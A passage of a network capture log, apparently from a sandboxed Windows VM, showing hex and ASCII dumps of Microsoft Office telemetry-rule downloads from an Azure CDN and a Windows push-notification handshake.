xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:11 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:11 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 1c872757-c01e-0034-1307-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214111Z-r1cf579d7788pwqzhC1EWRrpd800000003u0000000002kgk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:11 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:11 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:11 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 7b8d486f-101e-0017-1506-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214111Z-r1cf579d7782ctslhC1EWRfbrw00000003xg000000005hhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:11 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:11 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:11 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 061d09a2-c01e-00a1-3006-487e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214111Z-r1cf579d7784wpmvhC1EWRk4cn00000002yg0000000047m4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:11 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:12 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:12 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: b9413899-901e-0015-7203-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214112Z-r1cf579d778x776bhC1EWRdk8000000003cg000000008bs8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:13 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:12 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:13 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 4471680c-501e-0047-7105-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214113Z-r1cf579d778bb9vvhC1EWRs95400000002z0000000008xw9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:13 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49873	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:12 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4e 5a 33 78 73 46 43 71 73 45 69 68 43 67 51 4f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 65 30 39 30 62 39 39 30 33 30 32 39 64 33 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: NZ3xsFCqsEihCgQO.1Context: ae090b9903029d36
2024-12-07 21:41:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-07 21:41:12 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4e 5a 33 78 73 46 43 71 73 45 69 68 43 67 51 4f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 65 30 39 30 62 39 39 30 33 30 32 39 64 33 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 57 32 44 68 6f 47 6b 59 77 72 38 64 69 4b 58 77 48 48 44 30 32 62 63 6a 78 47 39 4b 48 68 56 47 71 38 55 61 73 44 36 6c 49 68 6b 43 53 5a 7a 32 62 52 4d 7a 79 49 38 43 4c 66 37 73 4a 53 51 73 46 58 33 51 6c 6c 4d 46 34 2b 7a 49 37 39 6b 35 74 56 38 78 4a 66 59 69 72 41 68 4d 70 49 72 55 2f 69 76 55 63 4f 56 65 4f 66 7a 42 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: NZ3xsFCqsEihCgQO.2Context: ae090b9903029d36<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaW2DhoGkYwr8diKXwHHD02bcjxG9KHhVGq8UasD6lIhkCSZz2bRMzyI8CLf7sJSQsFX3QllMF4+zI79k5tV8xJfYirAhMpIrU/ivUcOVeOfzB
2024-12-07 21:41:12 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4e 5a 33 78 73 46 43 71 73 45 69 68 43 67 51 4f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 65 30 39 30 62 39 39 30 33 30 32 39 64 33 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: NZ3xsFCqsEihCgQO.3Context: ae090b9903029d36<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-07 21:41:13 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-07 21:41:13 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4c 76 41 36 4d 74 39 6d 65 45 79 51 51 46 37 4d 48 54 55 69 71 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: LvA6Mt9meEyQQF7MHTUiqA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:13 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:13 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: af039603-701e-005c-3603-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214113Z-r1cf579d778v97q7hC1EWRf95c000000036g000000001csz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:13 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:13 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:13 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 67adf02b-201e-0085-1211-4834e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214113Z-r1cf579d778lntp7hC1EWR9gg400000002w0000000007d0w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:13 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:13 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:13 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: be723ded-701e-0021-0f06-483d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214113Z-r1cf579d778x776bhC1EWRdk8000000003hg000000002pgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:13 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:15 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:15 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 8337024b-c01e-0079-5d05-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214115Z-r1cf579d778t6txphC1EWRsd440000000420000000001513 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:15 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:15 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:15 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 1e99177e-901e-0029-5406-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214115Z-r1cf579d7786c2tshC1EWRr1gc0000000350000000003tk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
